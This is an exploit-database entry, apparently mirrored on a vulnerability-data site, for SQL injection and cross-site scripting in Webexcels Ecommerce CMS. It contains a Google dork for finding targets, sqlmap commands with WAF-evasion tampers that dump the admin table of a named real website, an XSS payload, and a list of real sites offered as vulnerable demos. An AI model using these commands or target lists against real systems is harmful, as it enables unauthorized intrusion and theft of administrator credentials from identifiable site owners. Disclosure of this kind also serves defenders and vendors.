`# Exploit Title: Webexcels Ecommerce CMS SQL Injection & XSS Vulnerability
# Google Dork: intext:intext:" By WEB EXCELS "+inurl:"?Id="
# Date: 2020-03-27
# Exploit Author: @ThelastVvV
# Vendor Homepage: https://www.webexcels.com/
# Version: 2.x 2017,2018,2019,2020
# Tested on: Ubuntu
---------------------------------------------------------
PoC 1:
The attacker once locate the sql vulnerability can perform an automated process to exploit the secruity in the webapp , in this case using sqlmap in 2 steps only
*Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..below)
Payload(s)
http://www.site.com/content.php?Id=[]'[SQL INJECTION VULNERABILITY!]
SQLMAP Payload(s):
sqlmap -u http://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs
sqlmap -u http://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D precepto_web --tables
sqlmap -u http://www.preceptorsports.com/content.php?Id=23 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D precepto_web -T tbl_admin
PoC 2 :
XSS Vulnerability
Payload(s) :
In Search box use payload:
www.anysite.com/search.php?tsearch="><img src=x onerror=prompt(document.domain);>
Demos:
http://www.preceptorsports.com/content.php?Id=23'
http://www.safety-town.com/content.php?Id=50'
http://www.rehanasportspark.co.uk/content.php?Id=46'
http://www.leatherhitz.com/content.php?Id=50'
Greetings:
*indoushka*
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation